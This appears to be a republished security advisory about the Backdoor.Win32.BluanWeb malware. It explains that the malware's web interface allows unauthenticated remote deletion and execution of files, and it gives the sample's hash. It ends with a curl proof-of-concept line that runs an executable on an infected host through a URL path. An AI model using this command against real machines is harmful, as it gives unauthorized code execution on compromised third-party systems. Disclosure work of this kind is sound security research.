Backdoor.Win32.BluanWeb / Unauthenticated Remote Code Execution

CVE Category Price Severity
N/A CWE-Module N/A Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-03-12

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.BluanWeb / Unauthenticated Remote Code Execution
Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML links to delete or run programs.


bootmgr   [ ]  []
BOOTNXT   [ ]  []
BOOTSECT.BAK   [ ]  []
[Documents and Settings]
pagefile.sys   [ ]  []
[Program Files]
[Program Files (x86)]
swapfile.sys   [ ]  []
[System Volume Information]

Translated from Chinese:

bootmgr [delete] [run]
BOOTNXT [delete] [run]
BOOTSECT.BAK [delete] [run]
[Documents and Settings]
pagefile.sys [delete] [run]
[Program Files]
[Program Files (x86)]
swapfile.sys [delete] [run]

The HREF is like "run_EXECUTABLE". Third-party attackers who can reach infected hosts can make HTTP GET request appending any executable name.

Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0504
Disclosure: 03/03/2022

curl http://x.x.x.x/run_3rd_party_malware

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